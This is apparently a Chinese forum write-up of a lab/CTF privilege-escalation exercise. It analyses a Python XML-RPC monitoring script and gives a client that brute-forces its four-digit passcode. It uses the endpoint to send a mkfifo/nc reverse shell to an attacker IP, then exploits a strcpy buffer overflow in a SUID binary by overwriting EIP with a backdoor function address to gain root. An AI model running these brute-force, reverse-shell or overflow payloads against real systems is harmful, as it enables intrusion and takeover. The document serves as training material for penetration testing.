上次突破边界之后使用CVE-2021-3439比较容易的拿下了root,但是靶机是2020年发布的,这次来尝试用别的办法提权
cat /etc/passwd
cd /home
ls -l
cd socnet
ls -l
cat monitor.py
还记得day5做web信息收集的时候admin的发言吗,说运行了一个monitor.py的监控脚本。
#my remote server management API
import SimpleXMLRPCServer //导入这个库
import subprocess //导入subprocess这个库来创建进程
import random //导入random库来生出随机数
//定义了debugging_pass变量,看上去像什么的密码,通过random模块来生出1000-9999的随机数
debugging_pass = random.randint(1000,9999)
//定义runcmd函数里面有个cmd变量
def runcmd(cmd):
//定义一个新变量results结果,创建一个新进程来启用一个新的shell来执行变量cmd,然后为shell的标准输出stdout,标准报错stderr,标准输入stdin,subprocess.PIPE提供一个文本流缓存区
results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
//定义一个变量output输出标准报错和标准输出
output = results.stdout.read() + results.stderr.read()
return output
//定义函数cpu,调用上面的runcmd来执行系统命令cat /proc/cpuinfo,可以看到cpu相关信息
def cpu():
return runcmd("cat /proc/cpuinfo")
//查看操作系统内存
def mem():
return runcmd("free -m")
//查看磁盘存储
def disk():
return runcmd("df -h")
//查看ip地址
def net():
return runcmd("ip a")
//上面所有的操作都是通过runcmd来创建一个进程,用一个新的shell来执行相应的命令,然后标准的输出或者报错返回给客户端。如果可以通过一个客户端来访问这个服务端,去调用上面的这些函数,就可以把这些命令执行的结果返回给我们。
//定义函数secure_cmd,变量cmd,passcode
def secure_cmd(cmd,passcode):
//如果passcode=上面最开始生成的随机数,就调用runcmd来执行cmd命令。而这里的cmd命令不像上面一样写死了这里可以我们自己写,但是想要成功的条件就是要知道这次monitor.py运行时候生成的1000-9999之间的四位随机数。
if passcode==debugging_pass:
return runcmd(cmd)
//不然就返回Wrong passcode
else:
return "Wrong passcode."
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)
server.serve_forever()
大概了解这是个什么之后来看代码,详细的可以看下面的网站,我就不啰嗦了
https://docs.python.org/zh-cn/3/library/xmlrpc.client.html#module-xmlrpc.client
代码分析完后思路就清晰了,接下来需要拿到monitor.py运行时候的四位随机数
1.把上面图中的客户端代码复制生成一个python文件,尝试去连接靶机的服务端
2.尝试调用secure_cmd这个函数,执行任意一个命令,爆破通过返回结果的不同来找到debugging_pass。
客户端代码:
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://靶机地址:脚本运行的端口/") as proxy:
print(str(proxy.is_even(3))) //is_even可以换成别的你想用的函数,以及括号里对应的参数就行
测试一下能否正确连接,先用个cpu函数
调用secure_cmd来爆破出密码
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://10.0.3.10:8000/") as proxy:
for p in range(1000,10000): //定义passcode在1000-10000
r = str(proxy.secure_cmd('whoami',p)) //定义result为不同passode执行whoami时的返回
if not "Wrong" in r: //如果返回结果中没有wrong,通过上面的分析知道passcode不等于debuging_pass的时候会返回Wrong passcode。
print(p) //输出正确的passcode
print(r) //以及whoami的返回
break 关闭循环
报错了,发现1000,10000里面写的.不是,
然后是"Wrong"不是'wrong'
得到正确的passcode=1010
反弹shell
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://localhost:8000/") as proxy:
cmd = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.3.4 4444 >/tmp/f'
r = str(proxy.secure_cmd(cmd, 1010))
print(r)
升级一下shell
python -c "import pty; pty.spawn('/bin/bash')"
id
add_record这个可执行程序有suid,sgid权限位,并且属主是root
尝试寻找里面的漏洞提权
peda是一个动态调试的工具
漏洞挖掘的实质:像程序数据提交的入口点去提交数据。
./add_record
是一个添加雇工信息的软件,填完信息以后发现多了一个文本文件记录刚刚输入的信息。
测试出来了能提交数据的5个入口点:名字,工作年限,薪资,是否有问题,解释。都尝试一遍是否有内存溢出漏洞
gdb -q ./add_record
r
打开调试工具来调试程序
第一个提交点,姓名
缓冲区溢出测试方法:输入大量的字母A,如果变量存在缓冲区溢出,导致内存溢出覆盖到了其他寄存器,通过判断其他寄存器里面的数据是否都是A
1.python -c "print('A'*700)"
2.贴进去
程序直接退出了,并没有跟进寄存器,堆栈里面的数据,说明姓名这个点不存在
第二个提交点,工作年限
也不存在漏洞
第三个
没有
第四个
最后一个了没有就寄
第五个
在选择有工作上的问题,并且要你输入解释的这个点出发了漏洞。重点关注eip寄存器,它是系统要执行的下一条命令的内存地址
接下来判断这四个A在700个A中的位置,然后把这里换成payload的内存地址。
二分法不断确定触发溢出的区间试试350个A看看能不能造成溢出,如果不可以就说明在350-700这个区间,如果可以就说明在350以下,就继续试试150A能不能溢出,原理1参考盲注。
最后缩小到了100个A
用调试器的自带功能生成一百个特征字符pattern create 100
芜湖,找到了epi寄存器里是被AHAA这几位覆盖的pattern search
从62位之后开始进去eip寄存器
验证判断,看内存中的16进制的数值71616b7a的时候发现是倒着来的,是qakz的assci编码
接下来查看汇编代码disas main
Dump of assembler code for function main:
0x080486d8 <+0>: lea ecx,[esp+0x4]
0x080486dc <+4>: and esp,0xfffffff0
0x080486df <+7>: push DWORD PTR [ecx-0x4]
0x080486e2 <+10>: push ebp
0x080486e3 <+11>: mov ebp,esp
0x080486e5 <+13>: push edi
0x080486e6 <+14>: push esi
0x080486e7 <+15>: push ebx
0x080486e8 <+16>: push ecx
0x080486e9 <+17>: sub esp,0xa8
0x080486ef <+23>: call 0x80485b0 <__x86.get_pc_thunk.bx>
0x080486f4 <+28>: add ebx,0x1654
0x080486fa <+34>: mov DWORD PTR [ebp-0xac],0x414e
0x08048704 <+44>: lea edx,[ebp-0xa8]
0x0804870a <+50>: mov eax,0x0
0x0804870f <+55>: mov ecx,0x18
0x08048714 <+60>: mov edi,edx
0x08048716 <+62>: rep stos DWORD PTR es:[edi],eax
0x08048718 <+64>: sub esp,0x8
0x0804871b <+67>: lea eax,[ebx-0x13ee]
0x08048721 <+73>: push eax
0x08048722 <+74>: lea eax,[ebx-0x13ec]
0x08048728 <+80>: push eax
0x08048729 <+81>: call 0x8048520 <fopen@plt> //内嵌函数fopen@plt,打开文件
0x0804872e <+86>: add esp,0x10
0x08048731 <+89>: mov DWORD PTR [ebp-0x1c],eax
0x08048734 <+92>: sub esp,0xc
0x08048737 <+95>: lea eax,[ebx-0x13d4]
0x0804873d <+101>: push eax //在这里下一个断点然后s分布运行
0x0804873e <+102>: call 0x80484e0 <puts@plt> //这一条命令就会显示前面截图里第一次使用add_recored时候显示的welcome信息
0x08048743 <+107>: add esp,0x10
0x08048746 <+110>: sub esp,0xc
0x08048749 <+113>: lea eax,[ebx-0x137c]
0x0804874f <+119>: push eax //下一个断点单步执行下一条命令
0x08048750 <+120>: call 0x8048480 <printf@plt> //命令的结果是返回输入用户名
0x08048755 <+125>: add esp,0x10
0x08048758 <+128>: mov eax,DWORD PTR [ebx-0x4]
0x0804875e <+134>: mov eax,DWORD PTR [eax]
0x08048760 <+136>: sub esp,0x4
0x08048763 <+139>: push eax
0x08048764 <+140>: push 0x19
0x08048766 <+142>: lea eax,[ebp-0x39]
0x08048769 <+145>: push eax
0x0804876a <+146>: call 0x80484b0 <fgets@plt>
0x0804876f <+151>: add esp,0x10
0x08048772 <+154>: sub esp,0xc
0x08048775 <+157>: lea eax,[ebx-0x1366]
0x0804877b <+163>: push eax//把刚才断点删掉,在这里在下一个断点然后s单步执行
0x0804877c <+164>: call 0x8048480 <printf@plt> //命令的结果是返回输入工作年限
0x08048781 <+169>: add esp,0x10
0x08048784 <+172>: sub esp,0x8
0x08048787 <+175>: lea eax,[ebp-0x40]
0x0804878a <+178>: push eax
0x0804878b <+179>: lea eax,[ebx-0x1352]
0x08048791 <+185>: push eax
0x08048792 <+186>: call 0x8048540 <__isoc99_scanf@plt>
0x08048797 <+191>: add esp,0x10
0x0804879a <+194>: sub esp,0xc
0x0804879d <+197>: lea eax,[ebx-0x134f]
0x080487a3 <+203>: push eax
0x080487a4 <+204>: call 0x8048480 <printf@plt> //所以推断这个命令是返回输入薪资
0x080487a9 <+209>: add esp,0x10
0x080487ac <+212>: sub esp,0x8
0x080487af <+215>: lea eax,[ebp-0x44]
0x080487b2 <+218>: push eax
0x080487b3 <+219>: lea eax,[ebx-0x1352]
0x080487b9 <+225>: push eax
0x080487ba <+226>: call 0x8048540 <__isoc99_scanf@plt>
0x080487bf <+231>: add esp,0x10
0x080487c2 <+234>: sub esp,0xc
0x080487c5 <+237>: lea eax,[ebx-0x1340]
0x080487cb <+243>: push eax
0x080487cc <+244>: call 0x8048480 <printf@plt> //输入是否有工作问题
0x080487d1 <+249>: add esp,0x10
0x080487d4 <+252>: sub esp,0x8
0x080487d7 <+255>: lea eax,[ebp-0x48]
0x080487da <+258>: push eax
0x080487db <+259>: lea eax,[ebx-0x1352]
0x080487e1 <+265>: push eax
0x080487e2 <+266>: call 0x8048540 <__isoc99_scanf@plt>
0x080487e7 <+271>: add esp,0x10
0x080487ea <+274>: call 0x80484a0 <getchar@plt>
0x080487ef <+279>: mov DWORD PTR [ebp-0x20],eax
0x080487f2 <+282>: cmp DWORD PTR [ebp-0x20],0xa
0x080487f6 <+286>: je 0x80487fe <main+294>
0x080487f8 <+288>: cmp DWORD PTR [ebp-0x20],0xffffffff
0x080487fc <+292>: jne 0x80487ea <main+274>
0x080487fe <+294>: mov eax,DWORD PTR [ebp-0x48]
0x08048801 <+297>: cmp eax,0x1
0x08048804 <+300>: jne 0x804883c <main+356>
0x08048806 <+302>: sub esp,0xc
0x08048809 <+305>: lea eax,[ebx-0x1317]
0x0804880f <+311>: push eax
0x08048810 <+312>: call 0x8048480 <printf@plt> //输入解释内容
0x08048815 <+317>: add esp,0x10
0x08048818 <+320>: sub esp,0xc
0x0804881b <+323>: lea eax,[ebp-0xac]
0x08048821 <+329>: push eax
0x08048822 <+330>: call 0x8048490 <gets@plt>
0x08048827 <+335>: add esp,0x10
0x0804882a <+338>: sub esp,0xc
0x0804882d <+341>: lea eax,[ebp-0xac]
0x08048833 <+347>: push eax
0x08048834 <+348>: call 0x80486ad <vuln> //调用vuln,函数不是内嵌函数。info func查看函数,获取了这个函数会调用一个有缓冲区溢出漏洞的stycpy函数,所以刚刚我们在解释那里提交大量的数据会缓冲区溢出
0x08048839 <+353>: add esp,0x10
0x0804883c <+356>: sub esp,0xc
0x0804883f <+359>: lea eax,[ebx-0x130d]
0x08048845 <+365>: push eax
0x08048846 <+366>: call 0x80484e0 <puts@plt>
0x0804884b <+371>: add esp,0x10
0x0804884e <+374>: mov ecx,DWORD PTR [ebp-0x48]
0x08048851 <+377>: mov edx,DWORD PTR [ebp-0x44]
0x08048854 <+380>: mov eax,DWORD PTR [ebp-0x40]
0x08048857 <+383>: sub esp,0x8
0x0804885a <+386>: lea esi,[ebp-0xac]
0x08048860 <+392>: push esi
0x08048861 <+393>: push ecx
0x08048862 <+394>: push edx
0x08048863 <+395>: push eax
0x08048864 <+396>: lea eax,[ebp-0x39]
0x08048867 <+399>: push eax
0x08048868 <+400>: lea eax,[ebx-0x12ec]
0x0804886e <+406>: push eax
0x0804886f <+407>: call 0x8048480 <printf@plt>
0x08048874 <+412>: add esp,0x20
0x08048877 <+415>: mov ecx,DWORD PTR [ebp-0x48]
0x0804887a <+418>: mov edx,DWORD PTR [ebp-0x44]
0x0804887d <+421>: mov eax,DWORD PTR [ebp-0x40]
0x08048880 <+424>: sub esp,0x4
0x08048883 <+427>: lea esi,[ebp-0xac]
0x08048889 <+433>: push esi
0x0804888a <+434>: push ecx
0x0804888b <+435>: push edx
0x0804888c <+436>: push eax
0x0804888d <+437>: lea eax,[ebp-0x39]
0x08048890 <+440>: push eax
0x08048891 <+441>: lea eax,[ebx-0x12ec]
0x08048897 <+447>: push eax
0x08048898 <+448>: push DWORD PTR [ebp-0x1c]
0x0804889b <+451>: call 0x8048510 <fprintf@plt>
0x080488a0 <+456>: add esp,0x20
0x080488a3 <+459>: sub esp,0xc
0x080488a6 <+462>: push DWORD PTR [ebp-0x1c]
0x080488a9 <+465>: call 0x80484c0 <fclose@plt>
0x080488ae <+470>: add esp,0x10
0x080488b1 <+473>: mov eax,0x0
0x080488b6 <+478>: lea esp,[ebp-0x10]
0x080488b9 <+481>: pop ecx
0x080488ba <+482>: pop ebx
0x080488bb <+483>: pop esi
0x080488bc <+484>: pop edi
0x080488bd <+485>: pop ebp
0x080488be <+486>: lea esp,[ecx-0x4]
0x080488c1 <+489>: ret
End of assembler dump.
info func
发现这个b程序还用了system函数,这个函数可以命令执行
找到了上面调用的vuln自定义函数,以及backdoor(后门函数?)disas vuln
查看函数的汇编
发现又调用了一个stycpy这么个内嵌函数
搜索后发现这个函数存在缓冲区溢出漏洞。判断问题的原因就出在靶机作者自定义的vuln函数里调用了这个有缓冲区溢出漏洞的内嵌的函数。
查看backdoor函数disas backdoor
调用setuid来申请权限,然后调用system来执行某些系统命令,但是刚刚查看主程序里面没有直接调用backdoor函数,为了获取具体执行的命令,把起始地址(0x08048676)通过刚刚探测的漏洞贴到eip寄存器里面,让系统下一条命令从这里开始执行,从而去调用backdoor函数,获取操作系统命令信息。
编写payload
python -c "import struct; print('nf\n1\n1000\n1\n' + 'A'*62 + struct.pack('I', 0x08048676))" > payload
解释一下:上面的分析知道了要在explain解释原因的提交处的下面才会调用vuln函数,才会有缓冲区溢出,所以要在前面完整的输入姓名:nf,工作年限:1,薪资:1000,是否有工作问题:1,然后在explain处来提交62个A以及经过struct模块倒序(上面分析出来的eip寄存器中内存的数值是16进制的倒序的assci编码)之后的内存地址。
发现backdoor函数调用system去创建了两个进程,第一个执行了一个dash,第二个执行了一个bash这样两个shell。disas mian
查看主程序
找到vuln下断点,单步执行然后看看backdoor怎么被加载进来的,在加载过程又怎么导致两个shell被执行
break vuln
r < payload
按s一直执行到backdoor出现
一直到这申请完权限之后backdoor函数出现了,说明刚刚注入的起始内存地址被正确加载了。
41行开始调用了system函数
执行到这里的时候寄存器里出现了/bin/bash,把这个内容push到eax寄存器里面,让cpu去执行,执行完的结果就是/bin/bash。
理一理流程:主程序有调用了vuln函数——》vuln调用了stycpy这个有漏洞的内嵌函数——》在explain处触发这个漏洞,把backdoor函数的内存地址写入EPI寄存器——》backdoor请求了suid的root权限来执行这个程序调用的system函数——》最后执行/bin/bash
接下来只要正常触发这个漏洞执行以root权限运行的/bin/bashcat payload - | ./add_record
获得root权限,用这个权限再弹一个回来
总结:
1.信息收集,瞄准socnet
2.源码分析,构造xmlrpc客户端,爆破出正确的passcode
3.通过secure_cmd这个函数反弹shell,拿到socnet权限
4.信息收集,动态调试,触发缓冲区漏洞
5.二分法确认覆盖EIP寄存器内容的位置,分析出具体位置以及内存地址要倒着来
6.汇编分析,梳理触发过程,定位到vuln函数
7.分析vuln定位到stycpy函数
8.分析backdoor函数发现调用sytem函数命令执行,发现利用点
9.利用vuln的缓冲区溢出向EIP寄存器中写入backdoor函数的内存地址
10.动态调试,下断点,单步执行,发现system函数执行了/bin/bash以及/bin/dash.
11.漏洞利用suid提权拿到root权限,最后给自己弹了一个root权限的shell。
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 60.00 | 0 | 2022-06-13 11:11:02 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.